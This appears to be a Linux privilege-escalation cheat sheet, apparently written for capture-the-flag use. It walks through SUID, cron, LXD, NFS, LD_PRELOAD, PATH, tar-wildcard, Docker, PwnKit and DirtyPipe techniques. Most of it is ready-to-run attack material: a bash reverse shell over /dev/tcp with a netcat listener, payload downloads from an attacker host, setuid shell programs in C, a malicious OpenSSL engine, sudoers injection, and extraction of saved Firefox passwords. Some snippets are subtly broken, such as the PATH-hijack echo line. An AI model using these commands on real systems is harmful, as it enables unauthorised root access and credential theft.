Description

Set-User Identifier (SUID) allows a user to execute a program with the permissions of the file owner.

Find all SUID Files

find / -type f -perm -04000 -ls 2>/dev/null

Exploit

If the SUID bit is set, use https://gtfobins.github.io to escalate privileges.

Description

System administrators can use capabilities to increase the privilege level of a process. Rather than giving the user higher privileges, we give the process higher privileges.

Find all Processes with Capabilities

getcap -r / 2>/dev/null

Exploit

If capabilities are set, use https://gtfobins.github.io to escalate privileges.

Description

Cron jobs are used to run scripts at a specific time. By default, they run with the privilege of their owners and not the current user.

Step 1

See what cron job scripts are running by navigating to

/etc/crontab

Step 2

Change cronjob script to:

bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

Step 3

Start a netcat listener and wait for cron job to execute.

nc -lnvp {PORT}

Requirments

If you belong to lxd or lxc group, you can become root.

Description

LXD is a next generation system container manager. It offers a user experience similar to virtual machines but using Linux containers instead.

Exploit

Attacker Machine:

sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
sudo git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make
sudo mkdir -p ../ContainerImages/alpine/
cd ../ContainerImages/alpine/
sudo wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
python3 -m http.server 8000

Exploit

Victim Machine:

wget http://{Attacker_IP}:8000/lxd.tar.xz
wget http://{Attacker_IP}:8000/rootfs.squashfs
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

You now have root priviledges and the whole filesystem is mounted in /mnt/root/

Errors

If you get the error: `No storage pool found. Please create a new storage pool.`

lxd init

Note

Since lxd is a containter, the privesc involves mounting the filesystem to it. To access the root flag, you need to access the entire file system through `/mnt`

Description

The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges.

Step 1

Check what sudo permissions you have with

sudo -l

Step 2

Use https://gtfobins.github.io to escalate privileges.

Description

Network File Sharing (NFS) configuration is kept in the

/etc/exports

The critical element for this privilege escalation vector is the

no_root_squash

no_root_squash

Step 1

Attacker Machine: Check what NFS is mounted on the server.

showmount -e {IP}

Step 2

Check if any of the mounted shares have

no_root_squash

/etc/exports

Step 3

Create a local folder to mount, and mount to the NFS

mkdir /tmp/attackfolder

mount -o rw {IP}:/{folder} /tmp/attackfolder

Step 4

Create an exploit file in /tmp/attackerfolder

int main(){
  setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

gcc nsf.c -o nfs -w

chmod +s nfs

Step 5

Run the exploit file on the server

./nfs

Description

LD_PRELOAD is a function that allows any program to use shared libraries. If the

env_keep

Step 1

Check for LD_PRELOAD (with the env_keep option)

Step 2

Write a simple C code program.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {  
  unsetenv("LD_PRELOAD");  
  setgid(0);  
  setuid(0);  
  system("/bin/bash");  
}

Step 3

Compile the Program as a shared object (.so extension) file.

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Step 4

Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file. The

find

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

Description

When a program executes it checks the $PATH directories for the location of the executable. We can place our own executable before the original executable to escalate privileges.

Step 1

Say we have a program that uses the executable with the name

date

/bin

Step 2

We can create our own executate with the name

date

/bin

cd /tmp
echo "/bin/bash > date"
chmod 777 date
export PATH=/tmp:$PATH

Step 3

When the vulnerable program executes, it will search for the

date

/tmp

Description

When using a wildcard with tar to compress multiple files, an attacker can create malicious file names that are read as command line arguments when tar is compressing them.

Step 1

echo "" > --checkpoint=1

Step 2

echo "" > "--checkpoint-action=exec=sh script.sh"

Step 3

Create

script.sh

echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > script.sh

sudo su

Description

If a python program has SUID bit set or elevated privileges and is importing a library, we can create our own python script in the same directory, with the same name as the library to escalate privileges.

Step 1

Say we have a python script with elevated privileges that imports the random library like so:

import random
poem = """The sun was shining on the sea,
Shinging with all his might:
He did his very best to make
...

Step 2

We can create our own random.py script to hijack the imported library.

import os

os.system("/bin/bash")

Step 3

Execute the python script.

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Description

In Linux the main Firefox profile folder that stores personal data is in the hidden

~/.mozilla/firefox

Step 1

In Linux the main Firefox profile folder that stores personal data is in the hidden

~/.mozilla/firefox

Step 2

zip the

.mozilla

zip /tmp/browser.zip ~/.mozilla -r

Step 3

Copy the

browser.zip

Step 4

Unzip

browser.zip

unzip browser.zip

Step 5

There will be a few folders in the

.mozilla

logins.json

Step 6

Clone this repository

git clone https://github.com/unode/firefox_decrypt

Step 7

Check if the

.mozilla/profiles.ini

Profile Path=<STEP 5 FOLDER>

Before

After

Step 8

Use

firefox_decrypt.py

Note: Python3.9+ is required

python3 firefox_decrypt.py {/folder/containing/profiles.ini}

Step 1

Check if

Openssl

https://gtfobins.github.io

https://chaudhary1337.github.io/p/how-to-openssl-cap_setuid-ep-privesc-exploit/

getcap -r / 2>/dev/null

Step 2

We will need

#include <openssl/engine.h>

gcc

Step 3

#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id)
{
    setuid(0); setgid(0);
    system("/bin/bash");
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

Step 4

Compile the file

gcc -fPIC -o exploit.o -c exploit.c

gcc -shared -o exploit.so -lcrypto exploit.o

Step 5

Transfer the file to the victim machine and execute the exploit

openssl req -engine ./exploit.so

Description

The ADM group allows users to read system logs. In Linux, all logs are located inside the /var/log folder. A particularly interesting log inside the logs folder is the /var/log/audit/audit.log.The audit log allows sysadmins to log TTY input. We can search inside this log file to try and escalate privileges.

Step 1

Check if the audit log file is present.

cat /var/log/audit/audit.log

Step 2

Use the aureport tool to decode the audit.log file

aureport --tty

Requirements

You must be in the

docker

groups

id

Description

We are going to start a new Docker container, and volume mount the root directory of our file system to this container.

Step 1

Mount the file system

/

/mnt

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Step 2

We now have

root

/etc/shadow

Step 3

Leave the Docker container and change user to root.

su - root

Description

Screen is a terminal multiplexer similar to tmux that suffers from a privilege escalation vulnerability in version 4.5.0 due to lack of permissions check when opening a log file.

Step 1

Check the version of screen

screen -v

Step 2

Download the exploit

wget https://www.exploit-db.com/raw/41154

Step 3

Give exploit execute permission and run the exploit.

chmod +x exploit.sh

./exploit.sh

Description

Pwnkit (CVE-2021-4034) is a Local Privilege Escalation vulnerability, located in the Polkit's (PolicyKit) pkexec component installed by default on almost every major distribution of the Linux operating system.

Step 1

Copy cve-2021-4034-poc.c to machine.

Step 2

Compile cve-2021-4034-poc.c

gcc cve-2021-4034-poc.c -o exploit

Step 3

Run the exploit

./exploit

Description

DirtyPipe (CVE-2022-0847) is a linux kernel vulnerability that can be leverage to escalate privileges through arbitrary file overwrites at the kernel level.

Requirments

Linux kernel versions from 5.8 through any version before 5.16.11, 5.15.25 and 5.10.102.

Step 1

Copy CVE-2022-0847.c to the machine.

Step 2

Compile CVE-2022-0847.c

gcc CVE-2022-0847.c -o exploit

Step 3

Run the exploit

./exploit /bin/su